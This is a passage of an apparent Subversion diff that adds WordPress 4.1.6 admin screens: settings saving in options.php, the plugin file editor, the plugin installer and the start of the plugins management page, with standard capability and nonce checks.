+<textarea name="ping_sites" id="ping_sites" class="large-text code" rows="3"><?php echo esc_textarea( get_option('ping_sites') ); ?></textarea>
+
+<?php else : ?>
+
+	<p><?php printf(__('WordPress is not notifying any <a href="http://codex.wordpress.org/Update_Services">Update Services</a> because of your site&#8217;s <a href="%s">visibility settings</a>.'), 'options-reading.php'); ?></p>
+
+<?php endif; ?>
+<?php } // multisite ?>
+
+<?php do_settings_sections('writing'); ?>
+
+<?php submit_button(); ?>
+</form>
+</div>
+
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/4.1.6/src/wp-admin/options.php
===================================================================
--- /tags/4.1.6/src/wp-admin/options.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/options.php	(revision 33402)
@@ -0,0 +1,277 @@
+<?php
+/**
+ * Options Management Administration Screen.
+ *
+ * If accessed directly in a browser this page shows a list of all saved options
+ * along with editable fields for their values. Serialized data is not supported
+ * and there is no way to remove options via this page. It is not linked to from
+ * anywhere else in the admin.
+ *
+ * This file is also the target of the forms in core and custom options pages
+ * that use the Settings API. In this case it saves the new option values
+ * and returns the user to their page of origin.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+$title = __('Settings');
+$this_file = 'options.php';
+$parent_file = 'options-general.php';
+
+wp_reset_vars(array('action', 'option_page'));
+
+$capability = 'manage_options';
+
+// This is for back compat and will eventually be removed.
+if ( empty($option_page) ) {
+	$option_page = 'options';
+} else {
+
+	/**
+	 * Filter the capability required when using the Settings API.
+	 *
+	 * By default, the options groups for all registered settings require the manage_options capability.
+	 * This filter is required to change the capability required for a certain options page.
+	 *
+	 * @since 3.2.0
+	 *
+	 * @param string $capability The capability used for the page, which is manage_options by default.
+	 */
+	$capability = apply_filters( "option_page_capability_{$option_page}", $capability );
+}
+
+if ( !current_user_can( $capability ) )
+	wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+// Handle admin email change requests
+if ( is_multisite() ) {
+	if ( ! empty($_GET[ 'adminhash' ] ) ) {
+		$new_admin_details = get_option( 'adminhash' );
+		$redirect = 'options-general.php?updated=false';
+		if ( is_array( $new_admin_details ) && $new_admin_details[ 'hash' ] == $_GET[ 'adminhash' ] && !empty($new_admin_details[ 'newemail' ]) ) {
+			update_option( 'admin_email', $new_admin_details[ 'newemail' ] );
+			delete_option( 'adminhash' );
+			delete_option( 'new_admin_email' );
+			$redirect = 'options-general.php?updated=true';
+		}
+		wp_redirect( admin_url( $redirect ) );
+		exit;
+	} elseif ( ! empty( $_GET['dismiss'] ) && 'new_admin_email' == $_GET['dismiss'] ) {
+		delete_option( 'adminhash' );
+		delete_option( 'new_admin_email' );
+		wp_redirect( admin_url( 'options-general.php?updated=true' ) );
+		exit;
+	}
+}
+
+if ( is_multisite() && !is_super_admin() && 'update' != $action )
+	wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+$whitelist_options = array(
+	'general' => array( 'blogname', 'blogdescription', 'gmt_offset', 'date_format', 'time_format', 'start_of_week', 'timezone_string', 'WPLANG' ),
+	'discussion' => array( 'default_pingback_flag', 'default_ping_status', 'default_comment_status', 'comments_notify', 'moderation_notify', 'comment_moderation', 'require_name_email', 'comment_whitelist', 'comment_max_links', 'moderation_keys', 'blacklist_keys', 'show_avatars', 'avatar_rating', 'avatar_default', 'close_comments_for_old_posts', 'close_comments_days_old', 'thread_comments', 'thread_comments_depth', 'page_comments', 'comments_per_page', 'default_comments_page', 'comment_order', 'comment_registration' ),
+	'media' => array( 'thumbnail_size_w', 'thumbnail_size_h', 'thumbnail_crop', 'medium_size_w', 'medium_size_h', 'large_size_w', 'large_size_h', 'image_default_size', 'image_default_align', 'image_default_link_type' ),
+	'reading' => array( 'posts_per_page', 'posts_per_rss', 'rss_use_excerpt', 'show_on_front', 'page_on_front', 'page_for_posts', 'blog_public' ),
+	'writing' => array( 'use_smilies', 'default_category', 'default_email_category', 'use_balanceTags', 'default_link_category', 'default_post_format' )
+);
+$whitelist_options['misc'] = $whitelist_options['options'] = $whitelist_options['privacy'] = array();
+
+$mail_options = array('mailserver_url', 'mailserver_port', 'mailserver_login', 'mailserver_pass');
+
+if ( ! in_array( get_option( 'blog_charset' ), array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ) ) )
+	$whitelist_options['reading'][] = 'blog_charset';
+
+if ( !is_multisite() ) {
+	if ( !defined( 'WP_SITEURL' ) )
+		$whitelist_options['general'][] = 'siteurl';
+	if ( !defined( 'WP_HOME' ) )
+		$whitelist_options['general'][] = 'home';
+
+	$whitelist_options['general'][] = 'admin_email';
+	$whitelist_options['general'][] = 'users_can_register';
+	$whitelist_options['general'][] = 'default_role';
+
+	$whitelist_options['writing'] = array_merge($whitelist_options['writing'], $mail_options);
+	$whitelist_options['writing'][] = 'ping_sites';
+
+	$whitelist_options['media'][] = 'uploads_use_yearmonth_folders';
+
+	// If upload_url_path and upload_path are both default values, they're locked.
+	if ( get_option( 'upload_url_path' ) || ( get_option('upload_path') != 'wp-content/uploads' && get_option('upload_path') ) ) {
+		$whitelist_options['media'][] = 'upload_path';
+		$whitelist_options['media'][] = 'upload_url_path';
+	}
+} else {
+	$whitelist_options['general'][] = 'new_admin_email';
+
+	/**
+	 * Filter whether the post-by-email functionality is enabled.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param bool $enabled Whether post-by-email configuration is enabled. Default true.
+	 */
+	if ( apply_filters( 'enable_post_by_email_configuration', true ) )
+		$whitelist_options['writing'] = array_merge($whitelist_options['writing'], $mail_options);
+}
+
+/**
+ * Filter the options white list.
+ *
+ * @since 2.7.0
+ *
+ * @param array White list options.
+ */
+$whitelist_options = apply_filters( 'whitelist_options', $whitelist_options );
+
+/*
+ * If $_GET['action'] == 'update' we are saving settings sent from a settings page
+ */
+if ( 'update' == $action ) {
+	if ( 'options' == $option_page && !isset( $_POST['option_page'] ) ) { // This is for back compat and will eventually be removed.
+		$unregistered = true;
+		check_admin_referer( 'update-options' );
+	} else {
+		$unregistered = false;
+		check_admin_referer( $option_page . '-options' );
+	}
+
+	if ( !isset( $whitelist_options[ $option_page ] ) )
+		wp_die( __( '<strong>ERROR</strong>: options page not found.' ) );
+
+	if ( 'options' == $option_page ) {
+		if ( is_multisite() && ! is_super_admin() )
+			wp_die( __( 'You do not have sufficient permissions to modify unregistered settings for this site.' ) );
+		$options = explode( ',', wp_unslash( $_POST[ 'page_options' ] ) );
+	} else {
+		$options = $whitelist_options[ $option_page ];
+	}
+
+	if ( 'general' == $option_page ) {
+		// Handle custom date/time formats.
+		if ( !empty($_POST['date_format']) && isset($_POST['date_format_custom']) && '\c\u\s\t\o\m' == wp_unslash( $_POST['date_format'] ) )
+			$_POST['date_format'] = $_POST['date_format_custom'];
+		if ( !empty($_POST['time_format']) && isset($_POST['time_format_custom']) && '\c\u\s\t\o\m' == wp_unslash( $_POST['time_format'] ) )
+			$_POST['time_format'] = $_POST['time_format_custom'];
+		// Map UTC+- timezones to gmt_offsets and set timezone_string to empty.
+		if ( !empty($_POST['timezone_string']) && preg_match('/^UTC[+-]/', $_POST['timezone_string']) ) {
+			$_POST['gmt_offset'] = $_POST['timezone_string'];
+			$_POST['gmt_offset'] = preg_replace('/UTC\+?/', '', $_POST['gmt_offset']);
+			$_POST['timezone_string'] = '';
+		}
+
+		// Handle translation install.
+		if ( ! empty( $_POST['WPLANG'] ) && ( ! is_multisite() || is_super_admin() ) ) { // @todo: Skip if already installed
+			require_once( ABSPATH . 'wp-admin/includes/translation-install.php' );
+
+			if ( wp_can_install_language_pack() ) {
+				$language = wp_download_language_pack( $_POST['WPLANG'] );
+				if ( $language ) {
+					$_POST['WPLANG'] = $language;
+				}
+			}
+		}
+	}
+
+	if ( $options ) {
+		foreach ( $options as $option ) {
+			if ( $unregistered )
+				_deprecated_argument( 'options.php', '2.7', sprintf( __( 'The <code>%1$s</code> setting is unregistered. Unregistered settings are deprecated. See http://codex.wordpress.org/Settings_API' ), $option, $option_page ) );
+
+			$option = trim( $option );
+			$value = null;
+			if ( isset( $_POST[ $option ] ) ) {
+				$value = $_POST[ $option ];
+				if ( ! is_array( $value ) )
+					$value = trim( $value );
+				$value = wp_unslash( $value );
+			}
+			update_option( $option, $value );
+		}
+
+		// Switch translation in case WPLANG was changed.
+		$language = get_option( 'WPLANG' );
+		if ( $language ) {
+			load_default_textdomain( $language );
+		} else {
+			unload_textdomain( 'default' );
+		}
+	}
+
+	/**
+	 * Handle settings errors and return to options page
+	 */
+	// If no settings errors were registered add a general 'updated' message.
+	if ( !count( get_settings_errors() ) )
+		add_settings_error('general', 'settings_updated', __('Settings saved.'), 'updated');
+	set_transient('settings_errors', get_settings_errors(), 30);
+
+	/**
+	 * Redirect back to the settings page that was submitted
+	 */
+	$goback = add_query_arg( 'settings-updated', 'true',  wp_get_referer() );
+	wp_redirect( $goback );
+	exit;
+}
+
+include( ABSPATH . 'wp-admin/admin-header.php' ); ?>
+
+<div class="wrap">
+  <h2><?php esc_html_e('All Settings'); ?></h2>
+  <form name="form" action="options.php" method="post" id="all-options">
+  <?php wp_nonce_field('options-options') ?>
+  <input type="hidden" name="action" value="update" />
+  <input type="hidden" name="option_page" value="options" />
+  <table class="form-table">
+<?php
+$options = $wpdb->get_results( "SELECT * FROM $wpdb->options ORDER BY option_name" );
+
+foreach ( (array) $options as $option ) :
+	$disabled = false;
+	if ( $option->option_name == '' )
+		continue;
+	if ( is_serialized( $option->option_value ) ) {
+		if ( is_serialized_string( $option->option_value ) ) {
+			// This is a serialized string, so we should display it.
+			$value = maybe_unserialize( $option->option_value );
+			$options_to_update[] = $option->option_name;
+			$class = 'all-options';
+		} else {
+			$value = 'SERIALIZED DATA';
+			$disabled = true;
+			$class = 'all-options disabled';
+		}
+	} else {
+		$value = $option->option_value;
+		$options_to_update[] = $option->option_name;
+		$class = 'all-options';
+	}
+	$name = esc_attr( $option->option_name );
+	?>
+<tr>
+	<th scope="row"><label for="<?php echo $name ?>"><?php echo esc_html( $option->option_name ); ?></label></th>
+<td>
+<?php if ( strpos( $value, "\n" ) !== false ) : ?>
+	<textarea class="<?php echo $class ?>" name="<?php echo $name ?>" id="<?php echo $name ?>" cols="30" rows="5"><?php
+		echo esc_textarea( $value );
+	?></textarea>
+	<?php else: ?>
+		<input class="regular-text <?php echo $class ?>" type="text" name="<?php echo $name ?>" id="<?php echo $name ?>" value="<?php echo esc_attr( $value ) ?>"<?php disabled( $disabled, true ) ?> />
+	<?php endif ?></td>
+</tr>
+<?php endforeach; ?>
+  </table>
+
+<input type="hidden" name="page_options" value="<?php echo esc_attr( implode( ',', $options_to_update ) ); ?>" />
+
+<?php submit_button( __( 'Save Changes' ), 'primary', 'Update' ); ?>
+
+  </form>
+</div>
+
+<?php
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/plugin-editor.php
===================================================================
--- /tags/4.1.6/src/wp-admin/plugin-editor.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/plugin-editor.php	(revision 33402)
@@ -0,0 +1,279 @@
+<?php
+/**
+ * Edit plugin editor administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( is_multisite() && ! is_network_admin() ) {
+	wp_redirect( network_admin_url( 'plugin-editor.php' ) );
+	exit();
+}
+
+if ( !current_user_can('edit_plugins') )
+	wp_die( __('You do not have sufficient permissions to edit plugins for this site.') );
+
+$title = __("Edit Plugins");
+$parent_file = 'plugins.php';
+
+wp_reset_vars( array( 'action', 'error', 'file', 'plugin' ) );
+
+$plugins = get_plugins();
+
+if ( empty( $plugins ) ) {
+	include( ABSPATH . 'wp-admin/admin-header.php' );
+	?>
+	<div class="wrap">
+		<h2><?php echo esc_html( $title ); ?></h2>
+		<div id="message" class="error"><p><?php _e( 'You do not appear to have any plugins available at this time.' ); ?></p></div>
+	</div>
+	<?php
+	include( ABSPATH . 'wp-admin/admin-footer.php' );
+	exit;
+}
+
+if ( $file ) {
+	$plugin = $file;
+} elseif ( empty( $plugin ) ) {
+	$plugin = array_keys($plugins);
+	$plugin = $plugin[0];
+}
+
+$plugin_files = get_plugin_files($plugin);
+
+if ( empty($file) )
+	$file = $plugin_files[0];
+
+$file = validate_file_to_edit($file, $plugin_files);
+$real_file = WP_PLUGIN_DIR . '/' . $file;
+$scrollto = isset($_REQUEST['scrollto']) ? (int) $_REQUEST['scrollto'] : 0;
+
+switch ( $action ) {
+
+case 'update':
+
+	check_admin_referer('edit-plugin_' . $file);
+
+	$newcontent = wp_unslash( $_POST['newcontent'] );
+	if ( is_writeable($real_file) ) {
+		$f = fopen($real_file, 'w+');
+		fwrite($f, $newcontent);
+		fclose($f);
+
+		$network_wide = is_plugin_active_for_network( $file );
+
+		// Deactivate so we can test it.
+		if ( is_plugin_active($file) || isset($_POST['phperror']) ) {
+			if ( is_plugin_active($file) )
+				deactivate_plugins($file, true);
+
+			if ( ! is_network_admin() )
+				update_option( 'recently_activated', array( $file => time() ) + (array) get_option( 'recently_activated' ) );
+
+			wp_redirect(add_query_arg('_wpnonce', wp_create_nonce('edit-plugin-test_' . $file), "plugin-editor.php?file=$file&liveupdate=1&scrollto=$scrollto&networkwide=" . $network_wide));
+			exit;
+		}
+		wp_redirect( self_admin_url("plugin-editor.php?file=$file&a=te&scrollto=$scrollto") );
+	} else {
+		wp_redirect( self_admin_url("plugin-editor.php?file=$file&scrollto=$scrollto") );
+	}
+	exit;
+
+default:
+
+	if ( isset($_GET['liveupdate']) ) {
+		check_admin_referer('edit-plugin-test_' . $file);
+
+		$error = validate_plugin($file);
+		if ( is_wp_error($error) )
+			wp_die( $error );
+
+		if ( ( ! empty( $_GET['networkwide'] ) && ! is_plugin_active_for_network($file) ) || ! is_plugin_active($file) )
+			activate_plugin($file, "plugin-editor.php?file=$file&phperror=1", ! empty( $_GET['networkwide'] ) ); // we'll override this later if the plugin can be included without fatal error
+
+		wp_redirect( self_admin_url("plugin-editor.php?file=$file&a=te&scrollto=$scrollto") );
+		exit;
+	}
+
+	// List of allowable extensions
+	$editable_extensions = array('php', 'txt', 'text', 'js', 'css', 'html', 'htm', 'xml', 'inc', 'include');
+
+	/**
+	 * Filter file type extensions editable in the plugin editor.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $editable_extensions An array of editable plugin file extensions.
+	 */
+	$editable_extensions = (array) apply_filters( 'editable_extensions', $editable_extensions );
+
+	if ( ! is_file($real_file) ) {
+		wp_die(sprintf('<p>%s</p>', __('No such file exists! Double check the name and try again.')));
+	} else {
+		// Get the extension of the file
+		if ( preg_match('/\.([^.]+)$/', $real_file, $matches) ) {
+			$ext = strtolower($matches[1]);
+			// If extension is not in the acceptable list, skip it
+			if ( !in_array( $ext, $editable_extensions) )
+				wp_die(sprintf('<p>%s</p>', __('Files of this type are not editable.')));
+		}
+	}
+
+	get_current_screen()->add_help_tab( array(
+	'id'		=> 'overview',
+	'title'		=> __('Overview'),
+	'content'	=>
+		'<p>' . __('You can use the editor to make changes to any of your plugins&#8217; individual PHP files. Be aware that if you make changes, plugins updates will overwrite your customizations.') . '</p>' .
+		'<p>' . __('Choose a plugin to edit from the menu in the upper right and click the Select button. Click once on any file name to load it in the editor, and make your changes. Don&#8217;t forget to save your changes (Update File) when you&#8217;re finished.') . '</p>' .
+		'<p>' . __('The Documentation menu below the editor lists the PHP functions recognized in the plugin file. Clicking Look Up takes you to a web page about that particular function.') . '</p>' .
+		'<p id="newcontent-description">' . __('In the editing area the Tab key enters a tab character. To move below this area by pressing Tab, press the Esc key followed by the Tab key.') . '</p>' .
+		'<p>' . __('If you want to make changes but don&#8217;t want them to be overwritten when the plugin is updated, you may be ready to think about writing your own plugin. For information on how to edit plugins, write your own from scratch, or just better understand their anatomy, check out the links below.') . '</p>' .
+		( is_network_admin() ? '<p>' . __('Any edits to files from this screen will be reflected on all sites in the network.') . '</p>' : '' )
+	) );
+
+	get_current_screen()->set_help_sidebar(
+		'<p><strong>' . __('For more information:') . '</strong></p>' .
+		'<p>' . __('<a href="http://codex.wordpress.org/Plugins_Editor_Screen" target="_blank">Documentation on Editing Plugins</a>') . '</p>' .
+		'<p>' . __('<a href="http://codex.wordpress.org/Writing_a_Plugin" target="_blank">Documentation on Writing Plugins</a>') . '</p>' .
+		'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+	);
+
+	require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+	update_recently_edited(WP_PLUGIN_DIR . '/' . $file);
+
+	$content = file_get_contents( $real_file );
+
+	if ( '.php' == substr( $real_file, strrpos( $real_file, '.' ) ) ) {
+		$functions = wp_doc_link_parse( $content );
+
+		if ( !empty($functions) ) {
+			$docs_select = '<select name="docs-list" id="docs-list">';
+			$docs_select .= '<option value="">' . __( 'Function Name&hellip;' ) . '</option>';
+			foreach ( $functions as $function) {
+				$docs_select .= '<option value="' . esc_attr( $function ) . '">' . esc_html( $function ) . '()</option>';
+			}
+			$docs_select .= '</select>';
+		}
+	}
+
+	$content = esc_textarea( $content );
+	?>
+<?php if (isset($_GET['a'])) : ?>
+ <div id="message" class="updated"><p><?php _e('File edited successfully.') ?></p></div>
+<?php elseif (isset($_GET['phperror'])) : ?>
+ <div id="message" class="updated"><p><?php _e('This plugin has been deactivated because your changes resulted in a <strong>fatal error</strong>.') ?></p>
+	<?php
+		if ( wp_verify_nonce($_GET['_error_nonce'], 'plugin-activation-error_' . $file) ) { ?>
+	<iframe style="border:0" width="100%" height="70px" src="<?php bloginfo('wpurl'); ?>/wp-admin/plugins.php?action=error_scrape&amp;plugin=<?php echo esc_attr($file); ?>&amp;_wpnonce=<?php echo esc_attr($_GET['_error_nonce']); ?>"></iframe>
+	<?php } ?>
+</div>
+<?php endif; ?>
+<div class="wrap">
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<div class="fileedit-sub">
+<div class="alignleft">
+<big><?php
+	if ( is_plugin_active($plugin) ) {
+		if ( is_writeable($real_file) )
+			echo sprintf(__('Editing <strong>%s</strong> (active)'), $file);
+		else
+			echo sprintf(__('Browsing <strong>%s</strong> (active)'), $file);
+	} else {
+		if ( is_writeable($real_file) )
+			echo sprintf(__('Editing <strong>%s</strong> (inactive)'), $file);
+		else
+			echo sprintf(__('Browsing <strong>%s</strong> (inactive)'), $file);
+	}
+	?></big>
+</div>
+<div class="alignright">
+	<form action="plugin-editor.php" method="post">
+		<strong><label for="plugin"><?php _e('Select plugin to edit:'); ?> </label></strong>
+		<select name="plugin" id="plugin">
+<?php
+	foreach ( $plugins as $plugin_key => $a_plugin ) {
+		$plugin_name = $a_plugin['Name'];
+		if ( $plugin_key == $plugin )
+			$selected = " selected='selected'";
+		else
+			$selected = '';
+		$plugin_name = esc_attr($plugin_name);
+		$plugin_key = esc_attr($plugin_key);
+		echo "\n\t<option value=\"$plugin_key\" $selected>$plugin_name</option>";
+	}
+?>
+		</select>
+		<?php submit_button( __( 'Select' ), 'button', 'Submit', false ); ?>
+	</form>
+</div>
+<br class="clear" />
+</div>
+
+<div id="templateside">
+	<h3><?php _e('Plugin Files'); ?></h3>
+
+	<ul>
+<?php
+foreach ( $plugin_files as $plugin_file ) :
+	// Get the extension of the file
+	if ( preg_match('/\.([^.]+)$/', $plugin_file, $matches) ) {
+		$ext = strtolower($matches[1]);
+		// If extension is not in the acceptable list, skip it
+		if ( !in_array( $ext, $editable_extensions ) )
+			continue;
+	} else {
+		// No extension found
+		continue;
+	}
+?>
+		<li<?php echo $file == $plugin_file ? ' class="highlight"' : ''; ?>><a href="plugin-editor.php?file=<?php echo urlencode( $plugin_file ) ?>&amp;plugin=<?php echo urlencode( $plugin ) ?>"><?php echo $plugin_file ?></a></li>
+<?php endforeach; ?>
+	</ul>
+</div>
+<form name="template" id="template" action="plugin-editor.php" method="post">
+	<?php wp_nonce_field('edit-plugin_' . $file) ?>
+		<div><textarea cols="70" rows="25" name="newcontent" id="newcontent" aria-describedby="newcontent-description"><?php echo $content; ?></textarea>
+		<input type="hidden" name="action" value="update" />
+		<input type="hidden" name="file" value="<?php echo esc_attr($file) ?>" />
+		<input type="hidden" name="plugin" value="<?php echo esc_attr($plugin) ?>" />
+		<input type="hidden" name="scrollto" id="scrollto" value="<?php echo $scrollto; ?>" />
+		</div>
+		<?php if ( !empty( $docs_select ) ) : ?>
+		<div id="documentation" class="hide-if-no-js"><label for="docs-list"><?php _e('Documentation:') ?></label> <?php echo $docs_select ?> <input type="button" class="button" value="<?php esc_attr_e( 'Look Up' ) ?> " onclick="if ( '' != jQuery('#docs-list').val() ) { window.open( 'http://api.wordpress.org/core/handbook/1.0/?function=' + escape( jQuery( '#docs-list' ).val() ) + '&amp;locale=<?php echo urlencode( get_locale() ) ?>&amp;version=<?php echo urlencode( $wp_version ) ?>&amp;redirect=true'); }" /></div>
+		<?php endif; ?>
+<?php if ( is_writeable($real_file) ) : ?>
+	<?php if ( in_array( $file, (array) get_option( 'active_plugins', array() ) ) ) { ?>
+		<p><?php _e('<strong>Warning:</strong> Making changes to active plugins is not recommended. If your changes cause a fatal error, the plugin will be automatically deactivated.'); ?></p>
+	<?php } ?>
+	<p class="submit">
+	<?php
+		if ( isset($_GET['phperror']) ) {
+			echo "<input type='hidden' name='phperror' value='1' />";
+			submit_button( __( 'Update File and Attempt to Reactivate' ), 'primary', 'submit', false );
+		} else {
+			submit_button( __( 'Update File' ), 'primary', 'submit', false );
+		}
+	?>
+	</p>
+<?php else : ?>
+	<p><em><?php _e('You need to make this file writable before you can save your changes. See <a href="http://codex.wordpress.org/Changing_File_Permissions">the Codex</a> for more information.'); ?></em></p>
+<?php endif; ?>
+</form>
+<br class="clear" />
+</div>
+<script type="text/javascript">
+jQuery(document).ready(function($){
+	$('#template').submit(function(){ $('#scrollto').val( $('#newcontent').scrollTop() ); });
+	$('#newcontent').scrollTop( $('#scrollto').val() );
+});
+</script>
+<?php
+	break;
+}
+include(ABSPATH . "wp-admin/admin-footer.php");
Index: /tags/4.1.6/src/wp-admin/plugin-install.php
===================================================================
--- /tags/4.1.6/src/wp-admin/plugin-install.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/plugin-install.php	(revision 33402)
@@ -0,0 +1,133 @@
+<?php
+/**
+ * Install plugin administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+// TODO route this pages via a specific iframe handler instead of the do_action below
+if ( !defined( 'IFRAME_REQUEST' ) && isset( $_GET['tab'] ) && ( 'plugin-information' == $_GET['tab'] ) )
+	define( 'IFRAME_REQUEST', true );
+
+/**
+ * WordPress Administration Bootstrap.
+ */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can('install_plugins') )
+	wp_die(__('You do not have sufficient permissions to install plugins on this site.'));
+
+if ( is_multisite() && ! is_network_admin() ) {
+	wp_redirect( network_admin_url( 'plugin-install.php' ) );
+	exit();
+}
+
+$wp_list_table = _get_list_table('WP_Plugin_Install_List_Table');
+$pagenum = $wp_list_table->get_pagenum();
+
+if ( ! empty( $_REQUEST['_wp_http_referer'] ) ) {
+	$location = remove_query_arg( '_wp_http_referer', wp_unslash( $_SERVER['REQUEST_URI'] ) );
+
+	if ( ! empty( $_REQUEST['paged'] ) ) {
+		$location = add_query_arg( 'paged', (int) $_REQUEST['paged'], $location );
+	}
+
+	wp_redirect( $location );
+	exit;
+}
+
+$wp_list_table->prepare_items();
+
+$total_pages = $wp_list_table->get_pagination_arg( 'total_pages' );
+
+if ( $pagenum > $total_pages && $total_pages > 0 ) {
+	wp_redirect( add_query_arg( 'paged', $total_pages ) );
+	exit;
+}
+
+$title = __( 'Add Plugins' );
+$parent_file = 'plugins.php';
+
+wp_enqueue_script( 'plugin-install' );
+if ( 'plugin-information' != $tab )
+	add_thickbox();
+
+$body_id = $tab;
+
+/**
+ * Fires before each tab on the Install Plugins screen is loaded.
+ *
+ * The dynamic portion of the action hook, `$tab`, allows for targeting
+ * individual tabs, for instance 'install_plugins_pre_plugin-information'.
+ *
+ * @since 2.7.0
+ */
+do_action( "install_plugins_pre_$tab" );
+
+get_current_screen()->add_help_tab( array(
+'id'		=> 'overview',
+'title'		=> __('Overview'),
+'content'	=>
+	'<p>' . sprintf(__('Plugins hook into WordPress to extend its functionality with custom features. Plugins are developed independently from the core WordPress application by thousands of developers all over the world. All plugins in the official <a href="%s" target="_blank">WordPress.org Plugin Directory</a> are compatible with the license WordPress uses. You can find new plugins to install by searching or browsing the Directory right here in your own Plugins section.'), 'https://wordpress.org/plugins/') . '</p>'
+) );
+get_current_screen()->add_help_tab( array(
+'id'		=> 'adding-plugins',
+'title'		=> __('Adding Plugins'),
+'content'	=>
+	'<p>' . __('If you know what you&#8217;re looking for, Search is your best bet. The Search screen has options to search the WordPress.org Plugin Directory for a particular Term, Author, or Tag. You can also search the directory by selecting popular tags. Tags in larger type mean more plugins have been labeled with that tag.') . '</p>' .
+	'<p>' . __('If you just want to get an idea of what&#8217;s available, you can browse Featured and Popular plugins by using the links in the upper left of the screen. These sections rotate regularly.') . '</p>' .
+	'<p>' . __('You can also browse a user&#8217;s favorite plugins, by using the Favorites link in the upper left of the screen and entering their WordPress.org username.') . '</p>' .
+	'<p>' . __('If you want to install a plugin that you&#8217;ve downloaded elsewhere, click the Upload link in the upper left. You will be prompted to upload the .zip package, and once uploaded, you can activate the new plugin.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Plugins_Add_New_Screen" target="_blank">Documentation on Installing Plugins</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+/**
+ * WordPress Administration Template Header.
+ */
+include(ABSPATH . 'wp-admin/admin-header.php');
+?>
+<div class="wrap">
+<h2>
+	<?php
+	echo esc_html( $title );
+	if ( ! empty( $tabs['upload'] ) && current_user_can( 'upload_plugins' ) ) {
+		if ( $tab === 'upload' ) {
+			$href = self_admin_url( 'plugin-install.php' );
+			$text = _x( 'Browse', 'plugins' );
+		} else {
+			$href = self_admin_url( 'plugin-install.php?tab=upload' );
+			$text = __( 'Upload Plugin' );
+		}
+		echo ' <a href="' . $href . '" class="upload add-new-h2">' . $text . '</a>';
+	}
+	?>
+</h2>
+
+<?php
+if ( $tab !== 'upload' ) {
+	$wp_list_table->views();
+	echo '<br class="clear" />';
+}
+
+/**
+ * Fires after the plugins list table in each tab of the Install Plugins screen.
+ *
+ * The dynamic portion of the action hook, `$tab`, allows for targeting
+ * individual tabs, for instance 'install_plugins_plugin-information'.
+ *
+ * @since 2.7.0
+ *
+ * @param int $paged The current page number of the plugins list table.
+ */
+do_action( "install_plugins_$tab", $paged ); ?>
+</div>
+<?php
+/**
+ * WordPress Administration Template Footer.
+ */
+include(ABSPATH . 'wp-admin/admin-footer.php');
Index: /tags/4.1.6/src/wp-admin/plugins.php
===================================================================
--- /tags/4.1.6/src/wp-admin/plugins.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/plugins.php	(revision 33402)
@@ -0,0 +1,474 @@
+<?php
+/**
+ * Plugins administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can('activate_plugins') )
+	wp_die( __( 'You do not have sufficient permissions to manage plugins for this site.' ) );
+
+$wp_list_table = _get_list_table('WP_Plugins_List_Table');
+$pagenum = $wp_list_table->get_pagenum();
+
+$action = $wp_list_table->current_action();
+
+$plugin = isset($_REQUEST['plugin']) ? $_REQUEST['plugin'] : '';
+$s = isset($_REQUEST['s']) ? urlencode($_REQUEST['s']) : '';
+
+// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
+$_SERVER['REQUEST_URI'] = remove_query_arg(array('error', 'deleted', 'activate', 'activate-multi', 'deactivate', 'deactivate-multi', '_error_nonce'), $_SERVER['REQUEST_URI']);
+
+if ( $action ) {
+
+	switch ( $action ) {
+		case 'activate':
+			if ( ! current_user_can('activate_plugins') )
+				wp_die(__('You do not have sufficient permissions to activate plugins for this site.'));
+
+			if ( is_multisite() && ! is_network_admin() && is_network_only_plugin( $plugin ) ) {
+				wp_redirect( self_admin_url("plugins.php?plugin_status=$status&paged=$page&s=$s") );
+				exit;
+			}
+
+			check_admin_referer('activate-plugin_' . $plugin);
+
+			$result = activate_plugin($plugin, self_admin_url('plugins.php?error=true&plugin=' . $plugin), is_network_admin() );
+			if ( is_wp_error( $result ) ) {
+				if ( 'unexpected_output' == $result->get_error_code() ) {
+					$redirect = self_admin_url('plugins.php?error=true&charsout=' . strlen($result->get_error_data()) . '&plugin=' . $plugin . "&plugin_status=$status&paged=$page&s=$s");
+					wp_redirect(add_query_arg('_error_nonce', wp_create_nonce('plugin-activation-error_' . $plugin), $redirect));
+					exit;
+				} else {
+					wp_die($result);
+				}
+			}
+
+			if ( ! is_network_admin() ) {
+				$recent = (array) get_option( 'recently_activated' );
+				unset( $recent[ $plugin ] );
+				update_option( 'recently_activated', $recent );
+			}
+
+			if ( isset($_GET['from']) && 'import' == $_GET['from'] ) {
+				wp_redirect( self_admin_url("import.php?import=" . str_replace('-importer', '', dirname($plugin))) ); // overrides the ?error=true one above and redirects to the Imports page, stripping the -importer suffix
+			} else {
+				wp_redirect( self_admin_url("plugins.php?activate=true&plugin_status=$status&paged=$page&s=$s") ); // overrides the ?error=true one above
+			}
+			exit;
+
+		case 'activate-selected':
